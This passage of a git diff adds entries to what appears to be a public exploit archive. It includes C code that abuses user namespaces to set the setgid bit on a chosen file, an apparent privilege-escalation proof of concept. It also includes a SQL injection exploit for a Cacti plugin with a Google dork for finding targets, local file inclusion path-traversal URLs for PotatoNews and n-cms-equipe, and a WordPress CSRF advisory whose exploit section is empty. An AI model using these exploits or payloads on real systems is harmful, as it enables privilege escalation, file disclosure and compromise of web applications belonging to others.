+
+#define STACK_SIZE (1024 * 1024)
+static char child_stack[STACK_SIZE];
+
+struct args {
+ int pipe_fd[2];
+ char *file_path;
+};
+
+static int child(void *arg) {
+ struct args *f_args = (struct args *)arg;
+ char c;
+
+ // close stdout
+ close(f_args->pipe_fd[1]);
+
+ assert(read(f_args->pipe_fd[0], &c, 1) == 0);
+
+ // set the setgid bit
+ chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
+
+ return 0;
+}
+
+int main(int argc, char *argv[]) {
+ int fd;
+ pid_t pid;
+ char mapping[1024];
+ char map_file[PATH_MAX];
+ struct args f_args;
+
+ assert(argc == 2);
+
+ f_args.file_path = argv[1];
+ // create a pipe for synching the child and parent
+ assert(pipe(f_args.pipe_fd) != -1);
+
+ pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
+ assert(pid != -1);
+
+ // get the current uid outside the namespace
+ snprintf(mapping, 1024, "0 %d 1\n", getuid());
+
+ // update uid and gid maps in the child
+ snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
+ fd = open(map_file, O_RDWR); assert(fd != -1);
+
+ assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
+ close(f_args.pipe_fd[1]);
+
+ assert (waitpid(pid, NULL, 0) != -1);
+}
diff --git a/platforms/php/webapps/33809.txt b/platforms/php/webapps/33809.txt
new file mode 100755
index 000000000..2be23895f
--- /dev/null
+++ b/platforms/php/webapps/33809.txt
@@ -0,0 +1,21 @@
+ $$$$$$\ $$\ $$\ $$$$$$\
+$$ __$$\ $$ | $$ | $$ __$$\
+$$ / \__| $$ | $$ | $$ / \__|
+$$ |$$$$\ $$$$$$$$ | \$$$$$$\
+$$ |\_$$ | $$ __$$ | \____$$\
+$$ | $$ | $$ | $$ | $$\ $$ |
+\$$$$$$ |$$\ $$ | $$ |$$\\$$$$$$ |
+ \______/ \__|\__| \__|\__|\______/
+
+# Exploit Title: Cacti - Superlinks Plugin SQL Injection
+# Google Dork: inurl:"/cacti/plugins/superlinks/"
+# Date: 18/06/2014
+# Exploit Author: Napsterakos
+# Software Link: http://docs.cacti.net/plugin:superlinks
+
+
+Link: http://localhost/cacti/plugins/superlinks/
+
+Exploit: http://localhost/cacti/plugins/superlinks/superlinks.php?id=[SQLi]
+
+Credits to: Greek Hacking Scene
\ No newline at end of file
diff --git a/platforms/php/webapps/33820.txt b/platforms/php/webapps/33820.txt
new file mode 100755
index 000000000..8fd801266
--- /dev/null
+++ b/platforms/php/webapps/33820.txt
@@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/39276/info
+
+PotatoNews is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
+
+PotatoNews 1.0.2 is vulnerable; other versions may also be affected.
+
+http://www.example.com/newcopy/timeago.php?nid=../../../../../../../[file]%00
+http://www.example.com/update/timeago.php?nid=../../../../../../../[file]%00
\ No newline at end of file
diff --git a/platforms/php/webapps/33821.html b/platforms/php/webapps/33821.html
new file mode 100755
index 000000000..5afe0c4a9
--- /dev/null
+++ b/platforms/php/webapps/33821.html
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/39298/info
+
+n-cms-equipe is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
+
+n-cms-equipe 1.1C-Debug is vulnerable; other versions may also be affected.
+
+ #####coded by ahmadbady##### N'CMS & N'Games local file include Vulnerability
vul1 file:/path/template/theme1/content/body.php
vul2 file:/path/template/theme1/content/includs.php
-----------------------------------
\ No newline at end of file
diff --git a/platforms/php/webapps/33823.txt b/platforms/php/webapps/33823.txt
new file mode 100755
index 000000000..0e7ea04e1
--- /dev/null
+++ b/platforms/php/webapps/33823.txt
@@ -0,0 +1,80 @@
+# EXPLOIT TITLE:Wordpress 3.9.1-CSRF vulnerability
+# DATE:21st June,2014
+
+# Author:Avinash Kumar Thapa
+
+#URL: localhost/wordpress/
+
+#PATCH/FIX:Not fixed yet.
+
+
+
+
+###################################################################################################
+
+Technical Details:
+
+This is the new version released by Wordpress.
+
+version is 3.9.1(Latest)
+
+##Cross site request Forgery(CSRF) is present in this version at the url shown:http://localhost/wordpress/wp-comments-post.php##
+
+
+
+
+#####################################################################################################
+
+Exploit Code:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+###########################################################################################################
+
+----
+
+-- Avinash
+
+a.k.a
+
+**SPID3R**
+
+
+
+
+twitter: @m_avinash143
\ No newline at end of file